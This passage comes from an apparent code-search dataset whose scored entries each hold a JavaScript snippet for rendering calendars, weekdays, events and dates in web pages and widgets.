fill(ORANGE_COLOR.r, ORANGE_COLOR.g, ORANGE_COLOR.b);\n\n }\n // NIGHT\n else {\n stroke(BLUE_COLOR.r, BLUE_COLOR.g - 30, BLUE_COLOR.b);\n strokeWeight(3);\n fill(BLUE_COLOR.r, BLUE_COLOR.g, BLUE_COLOR.b);\n\n }\n ellipse(dayBtn.x, dayBtn.y, dayBtn.size);\n}", "title": "" }, { "docid": "92d40640d5ff508504014a463168f220", "score": "0.59986573", "text": "function display_date() {\n let arr = [];\n let today = new Date();\n const options = { weekday: 'long' };\n let gridDate;\n let gridDay;\n\n // Populate arr with date-day pairs\n for (let i = -1; i < 6; i++) {\n let day = new Date(today);\n day.setDate(day.getDate() + i); // i is an offset from today\n let dayOfWeek = new Intl.DateTimeFormat('en-US', options).format(day); // Turns 0-6 into Sunday - Saturday\n let disp = {\n dayOfWeek: dayOfWeek.substring(0, 3), // Sunday - Saturday\n date: day.getDate()\n }\n arr.push(disp);\n }\n\n // Move arr contents into display on page\n for (let j = 1; j < 8; j++) {\n gridDate = document.getElementById('dates_grid_item2' + j);\n gridDay = document.getElementById('dates_grid_item1' + j);\n gridDate.innerHTML = arr[j - 1].date;\n gridDay.innerHTML = arr[j - 1].dayOfWeek;\n }\n}", "title": "" }, { "docid": "cf067c263dcfd87d7f7381f3fea1a221", "score": "0.5985738", "text": "function drawCalendar(x,y,wi,th,str) {\n g.setColor(g.theme.fg);\n g.fillRect(x, y, x + wi, y + wi);\n g.setColor(g.theme.bg);\n g.fillRect(x + th, y + th, x + wi - th, y + wi - th);\n g.setColor(g.theme.fg);\n\n let hook_t = 6;\n // first calendar hook, one third in\n g.fillRect(x + (wi/3) - (th/2), y - hook_t, x + wi/3 + th - (th/2), y + hook_t);\n // second calendar hook, two thirds in\n g.fillRect(x + (2*wi/3) -(th/2), y - hook_t, x + 2*wi/3 + th - (th/2), y + hook_t);\n\n setSmallFont();\n g.setFontAlign(0, 0);\n g.drawString(str, x + wi/2 + th/2, y + wi/2 + th/2);\n}", "title": "" }, { "docid": "f24bcde989143dc63026b84805bcacd7", "score": "0.59753895", "text": "function displayCalendar(month, year) {\n month = parseInt(month);\n year = parseInt(year);\n var i = 0;j=1;k=0;\n var days = getDaysInMonth(month + 1, year);\n var firstOfMonth = new Date(year, month, 1);\n var startingPos = firstOfMonth.getDay();\n days += startingPos;\n // document.calButtons.calPage.value = \" Su Mo Tu We Th Fr Sa\";\n // document.calButtons.calPage.value += \"\\n --------------------\";\n for (i = 0; i < startingPos; i++) {\n\n if (i % 7 == 0) j++;\n myTable.rows[j].cells[i].innerHTML = 'Hello';\n }\n for (i = startingPos; i < days; i++) {\n if (i % 7 == 0) document.calButtons.table1.value += \"\\n \";\n if (i - startingPos + 1 < 10)\n document.calButtons.table1.value += \"0\";\n document.calButtons.table1.value += i - startingPos + 1;\n document.calButtons.table1.value += \" \";\n }\n for (i = days; i < 42; i++) {\n if (i % 7 == 0) document.calButtons.table1.value += \"\\n \";\n document.calButtons.table1.value += \" \";\n }\n document.calControl.Go.focus();\n }", "title": "" }, { "docid": "0318c420d390f4b30cf515e23a6fd413", "score": "0.59602755", "text": "function populateCalendar() {\n\tvar date = new Date(),\n\tlocale = \"en-us\",\n\tmonth = date.toLocaleString(locale, {month: \"long\"});\n\t//fill current month and year\n\t$(\".calendarContainer > div > div > ul > li\").html(month + \"<br><span>\" + date.getFullYear() + \"</span>\");\n\t\n\tvar firstDay = new Date(date.getFullYear(), date.getMonth(), 1);\n\tvar lastDay = new Date(date.getFullYear(), date.getMonth()+1, 0);\n\tvar numDays = lastDay.getDate();\n\tvar startDay = firstDay.getDay();\n\tvar currentDay = date.getDate();\n\t\n\tfor (var i = 0; i < startDay; i++) {\n\t\t$(\".days\").append(\"<li></li>\");\n\t}\n\t\n\tfor (var i = 0; i < numDays; i++) {\n\t\t$(\".days\").append(\"<li><span data-toggle='tooltip' data-html='true' title='' id='\" + (i+1) + \"'>\" + (i+1) + \"</span></li>\");\n\t\tif (i == (currentDay - 1)) {\n\t\t\t$(\"#\" + (i+1)).addClass('currentDay');\n\t\t} \n\t}\n\t\n}", "title": "" }, { "docid": "8ab3630474d23e06d1849b2bea9d19ba", "score": "0.5951826", "text": "function showPrevWeek() {\n\t\t\tevent.preventDefault();\n\t\t\tvar currentMonday = getDisplayedWeekDate();\n\t\t\tvar prevMonday = currentMonday;\n\t\t\tprevMonday.setDate(currentMonday.getDate() - 7);\n\t\t\tdisplayHomepage(prevMonday);\n\t\t}", "title": "" }, { "docid": "4dd6c020421de72c59acee9604acedfd", "score": "0.5944052", "text": "function printCalendar (date)\t{\n\t$('.days-of-month .day-block').detach();\n\tvar momentDate = date;\n\t$('h1').text(momentDate.format('MMMM YYYY'));\n\t// Day-template Handlebars\n\tvar source = $('#day-template').html();\n\tvar template = Handlebars.compile(source);\n\n\t// Print days+month of my calendar\n\tfor (var i = 1; i <= momentDate.daysInMonth(); i++) {\n\t\tvar dataCompleteMoment = date.format('YYYY') + '-' + date.format('MM') + '-' + addZero(i);\n\t\tvar context = {\n\t\t\tday: i,\n\t\t\tmonth: momentDate.format('MMMM'),\n\t\t\tdateComplete: dataCompleteMoment\n\t\t};\n\t\tvar html = template(context);\n\t\t$('.days-of-month').append(html);\n\t}\n\tvar dayOfWeek = date.days() + 1;\n\n\t$('.days-of-month .day-block:first-child').css('grid-column', dayOfWeek);\n\treturn date;\n}", "title": "" }, { "docid": "d09db478bcada2cb67b8d6c40cd91cf0", "score": "0.5942885", "text": "function createCalendar() {\n\tvar table = makeEle('table'),\n\t\tfrag = makeEle('frag'),\n\t\tfirstIndex = getFirstIndex(curMonth, curYear),\n\t\tnoOfDaysInMonth = getNoDayInMonth(curMonth, curYear),\n\t\ttr, td, i = 0,\n\t\tcount = 0,\n\t\tweekHeadings = ['mo','tr','we','th','fr','sa','sn'];\n\n\ttable.onclick = function(e) {\n\t\tconsole.log(e.target);\n\t};\n\ttr = makeEle('tr');\n\tvar th;\n\tfor(i = 0; i < weekHeadings.length; i ++) {\n\t\tth = makeEle('th', 'calndr__heading');\n\t\tth.innerText = capitalize(weekHeadings[i]);\n\t\ttr.appendChild(th);\n\t}\n\ttable.appendChild(tr);\n \n\tfor(i = 0; i < 42; i += 1) {\n\t\tif(i % 7 === 0) {\n\t\t\ttr = makeEle('tr');\n\t\t\tfrag.appendChild(tr);\n\t\t}\n\t\ttd = makeEle('td', {\n\t\t\tclassName: 'calndr__day'\n\t\t});\n\n\t\ttd.innerText = (count >= firstIndex && count < noOfDaysInMonth + firstIndex) ? i - firstIndex + 1 : '';\n\t\ttr.appendChild(td);\n\t\tcount++;\n\t}\n\ttable.appendChild(frag);\n\tparent.appendChild(table);\n}", "title": "" }, { "docid": "d705fd7ac6dccc85cdf927279cc28d03", "score": "0.59127563", "text": "async function buildEventsView(stack) {\n\n const date = new Date();\n\n //show all events in the next seven days\n let events = [];\n const dateLimit = new Date();\n dateLimit.setDate(dateLimit.getDate() + 7);\n events = await CalendarEvent.between(date, dateLimit);\n \n const futureEvents = [];\n for (const event of events) { \n\t\n \n if(event.calendar.title == calendarTitle){\n continue;\n } \n futureEvents.push(event);\n }\n\n\n if (futureEvents.length !== 0) {\n //show the next 3 events at most\n const numEvents = futureEvents.length > 3 ? 3 : futureEvents.length;\n for (let i = 0; i < numEvents; i += 1) {\n formatEvent(stack, futureEvents[i], textColor, opacity);\n \n \n }\n } else {\n \n \n addWidgetTextLine(stack, \"new Event\", {\n color: textColor,\n font: Font.mediumSystemFont(13),\n \n });\n }\n \n}", "title": "" }, { "docid": "827e07d9f2f6a9666f53108700890622", "score": "0.59100074", "text": "renderWeekInput(e, index){\n return (\n <WeekSelect initValues={e.selected} onDaysChanged={(selected) => this._onDaysChanged(e, selected)} />\n );\n }", "title": "" }, { "docid": "8e42a6f1fe0481c07a8ea3830f872bda", "score": "0.5898416", "text": "function show_day_of_week(ndx, i){\n var chart = dc.pieChart('#day-of-week')\n\n var dim = ndx.dimension(dc.pluck('day_of_week'));\n \n var group = dim.group().reduceSum(dc.pluck('births'));\n \n chart\n .height(null)\n .radius(120)\n .innerRadius(20)\n .externalRadiusPadding(0)\n .transitionDuration(i)\n .ordinalColors([ '#496E29', '#6F944F', '#89A76E','#A2BA8D','#BBCDAC','#B6C9A6','#D5E0CB'])\n .dimension(dim)\n .group(group)\n .legend(dc.legend().x(20).y(10).legendText(function(d ) {\n if(d.name== 1)\n return \"Monday\";\n if(d.name== 2)\n return \"Tuesday\";\n if(d.name== 3)\n return \"Wednesday\";\n if(d.name== 4)\n return \"Thursday\";\n if(d.name== 5)\n return \"Friday\";\n if(d.name== 6)\n return \"Saturday\";\n if(d.name== 7)\n return \"Sunday\";\n \n }))\n .ordering(function(d) {return d.name });\n}", "title": "" }, { "docid": "0885ee8a29fbcaa1f9e9e75c3075a7c2", "score": "0.5897799", "text": "function ShowDay({selectedButton, days, activity, setSelectDays}){\n return <div className=\"daytime-wrapper\">\n <DayTime name=\"morning\" selectedButton={selectedButton} days={days} activity={activity} setSelectDays={setSelectDays}/>\n <DayTime name=\"evening\" selectedButton={selectedButton} days={days} activity={activity} setSelectDays={setSelectDays}/>\n </div> \n }", "title": "" }, { "docid": "8abc6f51faa4396399c23c60a1c179f5", "score": "0.5887608", "text": "function updateCalendar(){\n displayMonth.innerText = months[currentMonth.month];\n displayYear.innerText = currentMonth.year;\n clearCalendar();\n var weeks = currentMonth.getWeeks();\n \n for(var w in weeks){\n var days = weeks[w].getDates();\n for(var d in days){\n var dd = days[d];\n document.getElementById('coltop' + w + d).innerText = dd.getDate();\n }\n }\n \n if(weeks.length < 6){\n for(r = weeks.length; r < 6; ++r){\n for(c = 0; c < 7; ++c){\n var e = document.getElementById('coltop' + r + c);\n e.hidden = true;\n document.getElementById('colbottom' + r + c).hidden = true;\n document.getElementById('col' + r + c).hidden = true;\n }\n }\n }\n //displays all events for a user\n if(currentMonthEventsJson !== null){\n var events = currentMonthEventsJson.events;\n if(events.length > 0){\n for(index = 0; index < events.length; ++index){\n var eventDate = events[index].date;\n var eventTime = events[index].time;\n var eventName = events[index].title;\n var eventId = events[index].event_id;\n var dateCell = getDateCell(eventDate);\n \n if(dateCell != null){\n var dateEvents = dateCell.innerHTML;\n if(dateEvents == null || dateEvents == \"\"){\n dateEvents = createOneEventString(eventId, eventName, eventTime);\n }\n else{\n dateEvents = dateEvents + createOneEventString(eventId, eventName, eventId);\n }\n dateCell.innerHTML = dateEvents;\n }\n }\n }\n }\n}", "title": "" }, { "docid": "2399da44bfd4536f387b4b90a5e425bd", "score": "0.5880033", "text": "viewToJSX() {\n var jsx = [];\n var year = this.state.viewYear;\n var month = this.state.viewMonth;\n var monthDays = this.getMonthDays(\n this.state.viewYear,\n this.state.viewMonth\n );\n var fillerDays = this.getFillerDays(\n this.state.viewYear,\n this.state.viewMonth\n );\n // a \"week\" is a row in the calender\n var weeks = Math.ceil((monthDays + fillerDays) / 7);\n\n for (let w = 0; w < weeks; w++) {\n var week = [];\n\n for (let d = w * 7 + 1; d <= (w + 1) * 7; d++) {\n let day = d - fillerDays;\n week.push(this.dayToJSX(year, month, w, day));\n }\n\n if (w === 0) {\n jsx.push(\n <div className=\"calender-week-filler\" key={\"w-\" + w}>\n {week}\n </div>\n );\n } else {\n jsx.push(\n <div className=\"calender-week\" key={\"w-\" + w}>\n {week}\n </div>\n );\n }\n }\n\n return <div>{jsx}</div>;\n }", "title": "" }, { "docid": "c7cd25d42ab8bf660f84228f10e68a0c", "score": "0.58589214", "text": "function DayLoop(i) {\n var today = new Date();\n for (j = 0; j < 7; j++){\n \n msg += '<div class=\"day ';\n \n if (TDAY.getYear() == today.getYear() &&\n TDAY.getMonth() == today.getMonth() &&\n dayIndex == today.getDate() && \n (j == MONTHSTARTSON.getDay() || monthStarted == true)){\n // Red BG color for today\n msg += 'today '; \n }\n else if (dayIndex == TDAY.getDate() && (j == MONTHSTARTSON.getDay() || monthStarted == true)){\n // Red border color for TDAY\n msg += 'selectedDay '; \n };\n if (j == 0 || j == 6){\n // Dark gray BG for weekend day\n msg += 'weekend'\n };\n msg += '\" data-day=\"'+ dayIndex +'\">';\n \n if(j == MONTHSTARTSON.getDay() || monthStarted == true){\n monthStarted = true; // The month has started\n if (dayIndex > MONTHENDSON.getDate()){\n // We've exceeded the number of days in the month\n msg += \"&nbsp;\";\n }\n else{\n msg += dayIndex + \"<br><small>\";\n msg += Appointments.day();\n msg += \"</small>\"; // End of appointments block\n dayIndex++;\n };\n CURRENTDATE = new Date(TDAY.getFullYear(), TDAY.getMonth(), dayIndex);\n };\n msg += \"</div>\"; // End of day cell\n \n // If we're at the end of the loops and haven't made it to the last day of the month, \n // add one more week to finish it off.\n if (i == 4 && j == 6 && CURRENTDATE <= MONTHENDSON)\n {\n msg += '</div>'; // End of week row\n WEEKNUMBER++;\n \n // Start the new week\n msg += '<div class=\"wk\" id=\"Week'+ (i+1) +'\">';\n DayLoop(i+1);\n }\n }\n }", "title": "" }, { "docid": "adb80defe3a420b4b42aaa07a96a31ed", "score": "0.58509517", "text": "function eventDaysCompiler(events, dates) {\n // html markup for the .event-days-container with some elements inside\n var eventDaysContainerOpen = '<div class=\"event-days-container\"><i class=\"fa fa-times close\" aria-hidden=\"true\"></i><h5>';\n var eventDaysContainerClose = '</h5></div>';\n\n // goes through each date and appends the .event-days-container\n dates.forEach(function(date) {\n // variables to take the date out of the date obj\n var mydate = new Date(date);\n var monthNum = mydate.getMonth();\n var dayNum = mydate.getDay();\n var theDate = mydate.getUTCDate();\n var month = [\"January\", \"February\", \"March\", \"April\", \"May\", \"June\", \"July\", \"August\", \"September\", \"October\", \"November\", \"December\"][monthNum];\n var day = [\"Monday\", \"Tuesday\", \"Wednesday\", \"Thursday\", \"Friday\", \"Saturday\", \"Sunday\"][dayNum];\n var eventDate = day + \" \" + theDate;\n\n $('div[class*=' + date + ']').append(eventDaysContainerOpen + eventDate + eventDaysContainerClose);\n });\n\n events.forEach(function(event) {\n var title = event.title;\n var eventTitleEl = '<div class=\"event-title-container\"><a href=\"/events/' + event.id + '\"><span class=\"event-title\">' + title + '</span></a></div>';\n\n $('div[class*=' + event.date_start + '] .event-days-container').append(eventTitleEl);\n });\n\n $('.eventDay').append('<i class=\"fa fa-circle\" aria-hidden=\"true\"></i>')\n}", "title": "" }, { "docid": "bed24ef494e4080f99c857508fb1a9fa", "score": "0.5850454", "text": "getWeekLabel() {\n return '';\n }", "title": "" }, { "docid": "d6bef025885c291768408ab037dd6454", "score": "0.58458304", "text": "function changeDays(){\n today = new Date()\n var yyyy = today.getFullYear();\n weekNum = getWeekNumber(today);\n sun = getSundayFromWeekNum(weekNum,yyyy);\n d = sun.getDate();\n\n //initializing days of week to sun\n //to increment later\n mon = new Date(sun);\n tue = new Date(sun);\n wed = new Date(sun);\n thu = new Date(sun);\n fri = new Date(sun);\n sat = new Date(sun);\n\n //incrementing dates\n mon.setDate(d+1);\n tue.setDate(d+2);\n wed.setDate(d+3);\n thu.setDate(d+4);\n fri.setDate(d+5);\n sat.setDate(d+6);\n\n //fetching html\n var sunday=document.getElementById('sun');\n var monday=document.getElementById('mon');\n var tuesday=document.getElementById('tue');\n var wednesday=document.getElementById('wed');\n var thursday=document.getElementById('thu');\n var friday=document.getElementById('fri');\n var saturday=document.getElementById('sat');\n\n //set text of day columns to its proper numerical date\n sunday.innerHTML = removeTime(sun);\n monday.innerHTML = removeTime(mon);\n tuesday.innerHTML = removeTime(tue);\n wednesday.innerHTML = removeTime(wed);\n thursday.innerHTML = removeTime(thu);\n friday.innerHTML = removeTime(fri);\n saturday.innerHTML = removeTime(sat);\n}", "title": "" }, { "docid": "11543f88dcf33bb48028b46541001d88", "score": "0.58332896", "text": "function view_updateScroll() {\n var scrollTop = 0;\n $calendar.find(dotcss('body')).scrollTop(0); \n $calendar.find(dotcss('selected')).each(function(){\n scrollTop = $(this).position().top - settings.prevWeeks*rowHeight;\n })\n $calendar.find(dotcss('body')).scrollTop(scrollTop)\n }", "title": "" }, { "docid": "954039bbaf29e7eebc42ac1832553f30", "score": "0.58316106", "text": "function WEBCORE_HTML_CALENDAR()\n{\n HTML_CALENDAR.call();\n\n this.today_style = 'cell-selected';\n this.weekend_day_style = 'cell-highlight';\n this.month_day_style = 'cell-non-empty';\n this.other_day_style = 'cell-empty';\n}", "title": "" }, { "docid": "5dfcb58172ea7daa8f71fa7d64a57372", "score": "0.5830618", "text": "function updateCalendar(){\n\tvar weeks = currentMonth.getWeeks();\n\t\n\tfor(var w in weeks){\n\t\tvar days = weeks[w].getDates();\n\t\t// days contains normal JavaScript Date objects.\n\t\t\n\t\t// alert(\"Week starting on \"+days[0]);\n\t\t\n\t\t// for(var d in days){\n\t\t// \t// You can see console.log() output in your JavaScript debugging tool, like Firebug,\n\t\t// \t// WebWit Inspector, or Dragonfly.\n\t\t// \tconsole.log(days[d].toISOString());\n\t\t// }\n\t}\n\t displayCalendarData(currentMonth);\n}", "title": "" }, { "docid": "476d278f7538375824878bbc8367f00a", "score": "0.58269966", "text": "function draw_calendar(year, month) {\n var outlet = '<table class=\"calendar\" id=\"calendar\">';\n\n // Generating header\n var previous_month = ((month-1) < 0)? 11 : month-1;\n var previous_year = ((month-1) < 0)? year-1 : year;\n var next_month = ((month+1) > 11)? 0 : month + 1;\n var next_year = ((month+1) > 11)? year+1 : year;\n var header = `<tr>\n <th colspan=\"7\">\n <button class=\"calendar-button\" onclick=\"replace_calendar(` + previous_year + ', ' + previous_month + `);\">\n <i class=\"fa fa-chevron-left\" aria-hidden=\"true\"></i>\n </button>\n <b>` + number_to_month(month) + '/' + year + `</b>\n <button class=\"calendar-button\" onclick=\"replace_calendar(` + next_year + ', ' + next_month + `);\">\n <i class=\"fa fa-chevron-right\" aria-hidden=\"true\"></i>\n </button>\n </th>`\n\n // Generating weekdays for calendar\n var first_day_of_the_month = new Date(year, month);\n var first_weekday = first_day_of_the_month.getDay();\n var number_of_days = new Date(year, month+1, 0).getDate();\n var current_day = 1;\n var table = `<tr>\n <th>D</th>\n <th>S</th>\n <th>T</th>\n <th>Q</th>\n <th>Q</th>\n <th>S</th>\n <th>S</th>\n </tr>`\n\n // -- Drawing first line\n var line = \"<tr>\"\n for (var i = 0; i < 7; ++i) {\n if (i < first_weekday) {\n line += \"<td></td>\";\n } else {\n line += \"<td>\" + generate_daily_button(year, month, current_day) + \"</td>\";\n current_day++;\n }\n }\n line += \"</tr>\";\n table += line;\n\n // -- Drawing following lines\n while (current_day <= number_of_days) {\n line = \"<tr>\";\n for (i = 0; i < 7; ++i) {\n if (current_day <= number_of_days) {\n line += \"<td>\" + generate_daily_button(year, month, current_day) + \"</td>\";\n } else {\n line += \"<td></td>\";\n }\n current_day++;\n }\n line += \"</tr>\";\n table += line;\n }\n\n // Consolidating HTML\n outlet += header;\n outlet += table;\n return outlet;\n}", "title": "" }, { "docid": "699e6255b9f6f30c0c07a743413871d2", "score": "0.58213234", "text": "function printCalendar(daysInMonth,startingDate,numWeeks,currentMonth,currentDay,currentYear){\n // using to start with number of days in a month\n counter=1;\n // basicly, a week has 7 days\n column=7;\n \n for(i=0;i<numWeeks;i++){\n if(i==0){\n var txt2 = $(\"<div></div>\").addClass('row m-auto day2');\n for(j=0;j<column;j++){\n if(j>=startingDate){\n var innerTxt = $(\"<div></div>\").addClass('col-custom text-center border border-primary rounded')/*.text(counter++)*/;\n var upperPart = $(\"<div></div>\").addClass('text-design').text(counter++).appendTo(innerTxt);\n var lowerPart = $(\"<div></div>\").addClass('bottom-design label label-default').text('+').appendTo(innerTxt);\n innerTxt.appendTo(txt2);\n }else{\n var innerTxt = $(\"<div></div>\").addClass('no-day col-custom text-center border border-primary rounded').text('0');\n innerTxt.appendTo(txt2);\n }\n }\n }\n if(i>0){\n var txt2 = $(\"<div></div>\").addClass('row m-auto day2');\n for(j=0;j<column;j++){\n if(counter<=daysInMonth){\n var innerTxt = $(\"<div></div>\").addClass('col-custom text-center border border-primary rounded')/*.text(counter++)*/;\n var upperPart = $(\"<div></div>\").addClass('text-design').text(counter++).appendTo(innerTxt);\n var lowerPart = $(\"<div></div>\").addClass('bottom-design label label-default').text('+').appendTo(innerTxt);\n innerTxt.appendTo(txt2);\n }else{\n var innerTxt = $(\"<div></div>\").addClass('no-day col-custom text-center border border-primary rounded').text('0');\n innerTxt.appendTo(txt2);\n }\n }\n }\n $('.border_container').append(txt2);\n }\n\n}", "title": "" }, { "docid": "fdcd1379b98126e93d610a5eee3a433c", "score": "0.58071417", "text": "render() {\n return (\n <div className=\"calendar\">\n {this.context.date ? (\n <p>You selected {this.context.date.toLocaleDateString()}</p>\n ) : (\n <p>Please select a day.</p>\n )}\n <DayPicker\n onDayClick={this.handleDayClick}\n selectedDays={this.context.date}\n\n />\n </div>\n );\n }", "title": "" }, { "docid": "7ba0ca17dc85092647061ce244d567cf", "score": "0.5805131", "text": "render() {\n\t\treturn (\n\t\t\t<this.nextDayRender />\n\t\t);\n\t}", "title": "" }, { "docid": "ed2b28372f8224cdeac1b0207ff9e703", "score": "0.58038837", "text": "deleteEvents() {\n const buttons = document.getElementsByClassName(\n \"react-calendar__month-view__days__day\");\n for (let i = 0; i < buttons.length; i++) {\n buttons[i].style.background = \"transparent\";\n const date = new Date(\n buttons[i].firstChild.attributes.item(0).textContent);\n // If saturday or sunday, make text emerald\n if (date.getDay() === 6 || date.getDay() === 0) {\n buttons[i].style.color = \"#2ecc71\";\n }\n // Else make text white\n else {\n buttons[i].style.color = \"white\";\n }\n }\n }", "title": "" }, { "docid": "6efe6c31eba2cf06e3adac8390f5733f", "score": "0.5791989", "text": "function creator(days){\n clearCtr()\n\n for(i=1;i<=days+startDay;i++){\n\n var iDiv = document.createElement('div');\n var newLine = document.createElement('br');\n iDiv.className = 'block';\n if(i <= startDay){\n iDiv.innerHTML = \"\";\n } else {\n iDiv.innerHTML = i - startDay;\n $('iDiv').addClass('calDate');\n }\n $('.calender-ctr').append(iDiv);\n\n if(i % 7 === 0 ){\n $('.calender-ctr').append(newLine)\n }\n\n }\n\n var monthDiv = document.querySelector('.month');\n monthDiv.innerHTML = months[month] + \" \" + \"<span>\"+year+\"</span>\";\n}", "title": "" }, { "docid": "c0ca05318ddf9c491db4e04f130e483d", "score": "0.5790136", "text": "dynamicDays() {\n for (let i = 0; i < 7; ++i) {\n if (moment(this.state.today).format(\"ddd\") === this.state.dayChecker[i]) {\n var week = moment(this.state.weekStart).startOf(\"isoWeek\");\n for (let a = 0; a < 7; ++a) {\n let dayIndex = (i + a) % 7;\n if (\n dayIndex == i &&\n week.toString() == moment().startOf(\"isoWeek\").toString()\n ) {\n this.state.days[dayIndex] = \"Idag\";\n } else {\n this.state.days[dayIndex] = this.state.tmpDays[dayIndex];\n }\n this.state.days[dayIndex] +=\n \" \" +\n moment(this.state.weekStart).add(dayIndex, \"day\").format(\"DD/MM\");\n }\n }\n }\n }", "title": "" }, { "docid": "44c5475feda82d9807de4efed2e9e858", "score": "0.5784113", "text": "function display_ct() {\n var nameOfDay = ['Søndag','Mandag','Tirsdag','Onsdag','Torsdag','Fredag','Lørdag','Søndag']\n var nameOfMonth = ['Januar','Februar','Marts','April','Maj','Juni','Juli','August','September','Oktober','November','December']\n\n var d = new Date();\n var seconds = prependZero(d.getSeconds());\n var minutes = prependZero(d.getMinutes());\n var hours = d.getHours();\n var date = d.getDate();\n var month = nameOfMonth[d.getMonth()];\n var day = nameOfDay[parseInt(d.getDay())];\n\n // reload page every hour\n if (parseInt(minutes) === 59 && parseInt(seconds) === 59) {\n document.location = \"/\";\n }\n\n $('.day').text(day + ' d. ');\n // $('.date-time').text(hours + '.' + minutes + '.' + seconds);\n $('.date-month').text(date + '. ' + month);\n $('.date-time').text(hours + '.' + minutes);\n\n function prependZero(number) {\n var string = '';\n number < 10 ? string = '0' + number : string = '' + number;\n return string;\n }\n}", "title": "" }, { "docid": "11206392febbf662fec0ca4a5e2ec493", "score": "0.57815784", "text": "function setCalendarWidget() {\n let title, color\n let line, content\n let maxNum = 3 // max number of line each has\n\n // default : do not show\n let calendarNum = -1\n let reminderNum = -1\n\n // 0 : calendar / 1 : reminder / 2 : monthly date\n if(!showCalendar[0] || !showCalendar[1]) maxNum = 6\n if(showCalendar[0]) {\n calendarNum = calendarJSON.length > maxNum\n ? maxNum : calendarJSON.length\n }\n if(showCalendar[1]) {\n reminderNum = reminderJSON.length > maxNum\n ? maxNum : reminderJSON.length\n }\n\n box = container.addStack()\n box.layoutVertically()\n stack = box.addStack()\n stack.layoutVertically()\n\n // Show calendar\n if(showCalendar[0]) {\n stack.url = 'calshow://'\n line = stack.addStack()\n\n// if(isCalendarRight) line.addSpacer()\n// addText(line, localeJSON.calendar,fontSizeSmall, true)\n\n addText(line, 'Calendar', sizeSmall, true)\n\n if(calendarNum == 0) {\n addText(line, ' 0', sizeSmall, true)//, colorGray)\n }\n else {\n if(calendarJSON.length > calendarNum) {\n let text = ' +' + (calendarJSON.length-calendarNum)\n addText(line, text, sizeSmall, true)//, colorGray)\n }\n getCalendarContent(calendarNum, calendarJSON,\n isCalendarRight, true)\n }\n }\n/*\n if(showCalendar[0] && showCalendar[1]) {\n stack.addSpacer(10)\n stack = box.addStack()\n stack.layoutVertically()\n }\n\n // Show reminder\n if(showCalendar[1]) {\n stack = box.addStack()\n stack.layoutVertically()\n stack.url = 'x-apple-reminderkit://'\n line = stack.addStack()\n\n if(isCalendarRight) line.addSpacer()\n setText(line.addText(localeJSON.reminder),fontSizeSmall, true)\n if(reminderNum == 0) {\n setText(line.addText('0'), fontSizeSmall, true, colorGray)\n }\n else {\n if(reminderJSON.length > reminderNum) {\n content = line.addText(' +'+(reminderJSON.length\n -reminderNum))\n setText(content, fontSizeSmall, true, colorGray)\n }\n getCalendarContent(reminderNum, reminderJSON,\n isCalendarRight, false)\n }\n }\n */\n}", "title": "" }, { "docid": "afdc9779a7be27aa08bdf3a395bec74a", "score": "0.57796377", "text": "function setDayColumns() {\n scope.days = getDayNames();\n scope.dayColumns = [ ];\n for (ndx = 0; ndx < scope.days.length; ndx += 1) {\n scope.dayColumns.push(scope.days[ (ndx + (scope.startOn % 7)) < scope.days.length ?\n (ndx + (scope.startOn % 7)) :\n ((ndx + (scope.startOn % 7)) - scope.days.length) ]);\n }\n }", "title": "" }, { "docid": "cf934e72fb11ea8e9c4ea09da062d314", "score": "0.5777373", "text": "function createTableBody() {\n\n var\n // The loop date object\n loopDate,\n\n // A pseudo index will be the divider between\n // the previous month and the focused month\n pseudoIndex,\n\n // An array that will hold the classes\n // and binding for each looped date\n classAndBinding,\n\n // Collection of the dates visible on the calendar\n // * This gets discarded at the end\n calendarDates = [],\n\n // Weeks visible on the calendar\n calendarWeeks = '',\n\n // Count the number of days in the focused month\n // by getting the 0-th date of the next month\n countMonthDays = createDate([ MONTH_FOCUSED.YEAR, MONTH_FOCUSED.MONTH + 1, 0 ]).DATE,\n\n // Count the days to shift the start of the month\n // by getting the day the first of the month falls on\n // and subtracting 1 to compensate for day 1index\n // or 2 if \"Monday\" should be the first day.\n countShiftby = createDate([ MONTH_FOCUSED.YEAR, MONTH_FOCUSED.MONTH, 1 ]).DAY + ( SETTINGS.firstDay ? -2 : -1 )\n\n\n // If the count to shift by is less than the first day\n // of the month, then add a week.\n countShiftby += countShiftby < -1 ? 7 : 0\n\n\n // Go through all the days in the calendar\n // and map a calendar date\n for ( var index = 0; index < DAYS_IN_CALENDAR; index += 1 ) {\n\n // Get the distance between the index and the count\n // to shift by. This will serve as the separator\n // between the previous, current, and next months.\n pseudoIndex = index - countShiftby\n\n\n // Create a calendar date with a negative or positive pseudoIndex\n loopDate = createDate([ MONTH_FOCUSED.YEAR, MONTH_FOCUSED.MONTH, pseudoIndex ])\n\n\n // Set the date class and bindings on the looped date.\n // If the pseudoIndex is greater than zero,\n // and less or equal to the days in the month,\n // we need dates from the focused month.\n classAndBinding = createDateClassAndBinding( loopDate, ( pseudoIndex > 0 && pseudoIndex <= countMonthDays ) )\n\n\n // Create the looped date wrapper,\n // and then create the table cell wrapper\n // and finally pass it to the calendar array\n calendarDates.push( createNode( 'td', createNode( STRING_DIV, loopDate.DATE, classAndBinding[ 0 ], classAndBinding[ 1 ] ) ) )\n\n\n // Check if it's the end of a week.\n // * We add 1 for 0index compensation\n if ( ( index % DAYS_IN_WEEK ) + 1 == DAYS_IN_WEEK ) {\n\n // Wrap the week and append it into the calendar weeks\n calendarWeeks += createNode( 'tr', calendarDates.splice( 0, DAYS_IN_WEEK ) )\n }\n\n } //endfor\n\n\n\n // Join the dates and wrap the calendar body\n return createNode( 'tbody', calendarWeeks, CLASSES.body )\n }", "title": "" }, { "docid": "6f4d301ccfa55cd3299c3ae240761b22", "score": "0.57767236", "text": "function calendarDecor(event, color) {\r\n var dayOfWeek;\r\n if(dayClass === undefined) { \r\n storedCalendarDecor(); \r\n return;\r\n } else {\r\n dayOfWeek = document.getElementById(dayClass);\r\n }\r\n var dotToShow = dayOfWeek.getElementsByClassName(event.type)[0];\r\n dotToShow.style.backgroundColor = color;\r\n}", "title": "" }, { "docid": "a495383a29371ab75e84b27d44b822bd", "score": "0.5776187", "text": "function drawDays (month, year) {\n\n var target = $('.days');\n target.empty();\n\n var date = month + \"-\" + year;\n var mom = moment(date,'M-YYYY');\n var monthDays = mom.daysInMonth();\n\n var template = $('#days-template').html();\n var compiled = Handlebars.compile(template);\n\n for (var i = 1; i <= monthDays; i++) {\n\n var date = i + \"-\" + month + \"-\" + year;\n var mom = moment(date,'D-M-YYYY');\n\n var weekDay = mom.weekday();\n // console.log(weekDay);\n\n if (i == 1) {\n for (var j = 0; j < weekDay; j++) {\n var dayHTML = compiled({\n day: '',\n 